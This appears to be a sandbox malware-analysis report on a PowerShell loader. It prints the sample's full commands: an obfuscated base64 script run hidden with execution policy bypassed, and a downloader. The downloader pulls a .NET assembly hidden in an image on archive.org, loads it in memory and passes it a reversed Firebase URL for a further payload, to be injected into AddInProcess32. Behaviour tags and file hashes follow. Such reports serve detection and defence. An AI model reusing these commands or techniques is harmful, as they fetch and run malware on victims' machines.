´䷡ ㌝ ₋ ⊩ ´PQ䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´Bv䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´GQ䷡ ㌝ ₋ ⊩ ´QQBz䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´ZQBt䷡ ㌝ ₋ ⊩ ´GI䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´B5䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´RwBl䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´V䷡ ㌝ ₋ ⊩ ´B5䷡ ㌝ ₋ ⊩ ´H䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´ZQ䷡ ㌝ ₋ ⊩ ´o䷡ ㌝ ₋ ⊩ ´Cc䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bu䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´aQBi䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´SQBP䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´S䷡ ㌝ ₋ ⊩ ´Bv䷡ ㌝ ₋ ⊩ ´G0䷡ ㌝ ₋ ⊩ ´ZQ䷡ ㌝ ₋ ⊩ ´n䷡ ㌝ ₋ ⊩ ´Ck䷡ ㌝ ₋ ⊩ ´Ow䷡ ㌝ ₋ ⊩ ´k䷡ ㌝ ₋ ⊩ ´G0䷡ ㌝ ₋ ⊩ ´ZQB0䷡ ㌝ ₋ ⊩ ´Gg䷡ ㌝ ₋ ⊩ ´bwBk䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´PQ䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´B5䷡ ㌝ ₋ ⊩ ´H䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´ZQ䷡ ㌝ ₋ ⊩ ´u䷡ ㌝ ₋ ⊩ ´Ec䷡ ㌝ ₋ ⊩ ´ZQB0䷡ ㌝ ₋ ⊩ ´E0䷡ ㌝ ₋ ⊩ ´ZQB0䷡ ㌝ ₋ ⊩ ´Gg䷡ ㌝ ₋ ⊩ ´bwBk䷡ ㌝ ₋ ⊩ ´Cg䷡ ㌝ ₋ ⊩ ´JwBW䷡ ㌝ ₋ ⊩ ´EE䷡ ㌝ ₋ ⊩ ´SQ䷡ ㌝ ₋ ⊩ ´n䷡ ㌝ ₋ ⊩ ´Ck䷡ ㌝ ₋ ⊩ ´LgBJ䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´dgBv䷡ ㌝ ₋ ⊩ ´Gs䷡ ㌝ ₋ ⊩ ´ZQ䷡ ㌝ ₋ ⊩ ´o䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´bgB1䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´s䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´WwBv䷡ ㌝ ₋ ⊩ ´GI䷡ ㌝ ₋ ⊩ ´agBl䷡ ㌝ ₋ ⊩ ´GM䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bb䷡ ㌝ ₋ ⊩ ´F0䷡ ㌝ ₋ ⊩ ´XQ䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´Cg䷡ ㌝ ₋ ⊩ ´JwBj䷡ ㌝ ₋ ⊩ ´GM䷡ ㌝ ₋ ⊩ ´O䷡ ㌝ ₋ ⊩ ´Bi䷡ ㌝ ₋ ⊩ ´DU䷡ ㌝ ₋ ⊩ ´OQBl䷡ ㌝ ₋ ⊩ ´DM䷡ ㌝ ₋ ⊩ ´Mg䷡ ㌝ ₋ ⊩ ´1䷡ ㌝ ₋ ⊩ ´DY䷡ ㌝ ₋ ⊩ ´Zg䷡ ㌝ ₋ ⊩ ´t䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´Nw䷡ ㌝ ₋ ⊩ ´2䷡ ㌝ ₋ ⊩ ´Dg䷡ ㌝ ₋ ⊩ ´LQBm䷡ ㌝ ₋ ⊩ ´GI䷡ ㌝ ₋ ⊩ ´Yg䷡ ㌝ ₋ ⊩ ´0䷡ ㌝ ₋ ⊩ ´C0䷡ ㌝ ₋ ⊩ ´OQBl䷡ ㌝ ₋ ⊩ ´Dc䷡ ㌝ ₋ ⊩ ´M䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´t䷡ ㌝ ₋ ⊩ ´GQ䷡ ㌝ ₋ ⊩ ´O䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´Dk䷡ ㌝ ₋ ⊩ ´MwBi䷡ ㌝ ₋ ⊩ ´GY䷡ ㌝ ₋ ⊩ ´Mg䷡ ㌝ ₋ ⊩ ´9䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´ZQBr䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´m䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´aQBk䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´bQ䷡ ㌝ ₋ ⊩ ´9䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´Bh䷡ ㌝ ₋ ⊩ ´D8䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´B4䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´Lg䷡ ㌝ ₋ ⊩ ´x䷡ ㌝ ₋ ⊩ ´D䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´N䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´y䷡ ㌝ ₋ ⊩ ´D䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´Mg䷡ ㌝ ₋ ⊩ ´4䷡ ㌝ ₋ ⊩ ´D䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´NQ䷡ ㌝ ₋ ⊩ ´w䷡ ㌝ ₋ ⊩ ´G0䷡ ㌝ ₋ ⊩ ´cgBv䷡ ㌝ ₋ ⊩ ´Hc䷡ ㌝ ₋ ⊩ ´e䷡ ㌝ ₋ ⊩ ´B5䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´YgBp䷡ ㌝ ₋ ⊩ ´Gg䷡ ㌝ ₋ ⊩ ´Yw䷡ ㌝ ₋ ⊩ ´v䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´LwBt䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´Yw䷡ ㌝ ₋ ⊩ ´u䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´bwBw䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´c䷡ ㌝ ₋ ⊩ ´Bw䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´Lg䷡ ㌝ ₋ ⊩ ´0䷡ ㌝ ₋ ⊩ ´DI䷡ ㌝ ₋ ⊩ ´M䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´y䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bw䷡ ㌝ ₋ ⊩ ´Hk䷡ ㌝ ₋ ⊩ ´cgBj䷡ ㌝ ₋ ⊩ ´C8䷡ ㌝ ₋ ⊩ ´Yg䷡ ㌝ ₋ ⊩ ´v䷡ ㌝ ₋ ⊩ ´D䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´dg䷡ ㌝ ₋ ⊩ ´v䷡ ㌝ ₋ ⊩ ´G0䷡ ㌝ ₋ ⊩ ´bwBj䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´cwBp䷡ ㌝ ₋ ⊩ ´H䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´YQBl䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´ZwBv䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´Zw䷡ ㌝ ₋ ⊩ ´u䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´ZwBh䷡ ㌝ ₋ ⊩ ´HI䷡ ㌝ ₋ ⊩ ´bwB0䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´ZQBz䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´YgBl䷡ ㌝ ₋ ⊩ ´HI䷡ ㌝ ₋ ⊩ ´aQBm䷡ ㌝ ₋ ⊩ ´C8䷡ ㌝ ₋ ⊩ ´Lw䷡ ㌝ ₋ ⊩ ´6䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´c䷡ ㌝ ₋ ⊩ ´B0䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´a䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´n䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´L䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´Cc䷡ ㌝ ₋ ⊩ ´MQ䷡ ㌝ ₋ ⊩ ´n䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´L䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´Cc䷡ ㌝ ₋ ⊩ ´Qw䷡ ㌝ ₋ ⊩ ´6䷡ ㌝ ₋ ⊩ ´Fw䷡ ㌝ ₋ ⊩ ´U䷡ ㌝ ₋ ⊩ ´By䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´ZwBy䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´bQBE䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bh䷡ ㌝ ₋ ⊩ ´Fw䷡ ㌝ ₋ ⊩ ´Jw䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´Cw䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´n䷡ ㌝ ₋ ⊩ ´Gk䷡ ㌝ ₋ ⊩ ´bgBj䷡ ㌝ ₋ ⊩ ´HU䷡ ㌝ ₋ ⊩ ´cgBp䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´cwBv䷡ ㌝ ₋ ⊩ ´Cc䷡ ㌝ ₋ ⊩ ´L䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´n䷡ ㌝ ₋ ⊩ ´EE䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bk䷡ ㌝ ₋ ⊩ ´Ek䷡ ㌝ ₋ ⊩ ´bgBQ䷡ ㌝ ₋ ⊩ ´HI䷡ ㌝ ₋ ⊩ ´bwBj䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´cwBz䷡ ㌝ ₋ ⊩ ´DM䷡ ㌝ ₋ ⊩ ´Mg䷡ ㌝ ₋ ⊩ ´n䷡ ㌝ ₋ ⊩ ´Cw䷡ ㌝ ₋ ⊩ ´JwBk䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´cwBh䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´aQB2䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bv䷡ ㌝ ₋ ⊩ ´Cc䷡ ㌝ ₋ ⊩ ´KQ䷡ ㌝ ₋ ⊩ ´p䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('䷡ ㌝ ₋ ⊩ ´','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('cc8b59e3256f-a768-fbb4-9e70-d8e93bf2=nekot&aidem=tla?txt.1042028050mrowxyobihc/o/moc.topsppa.4202stpyrc/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , '1' , 'C:\ProgramData\' , 'incurioso','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7KB
MD591c448b81717a82d538da67cd38ceaf0
SHA1079c2551232c62e036fb9b3265dbb5057dbd789d
SHA2568c3dcc53780e8484256b3c471a04f995696efb11c7841ac553877b9345101dba
SHA512dfb045f2c5b89273e0873f0359fc5902730614eff0b937d83d36fba1ea30ce823a8528b5add84e97ef5a901f2c8b9f227c24fcef44bf573ece2530b59d64fd13
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
2.9MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB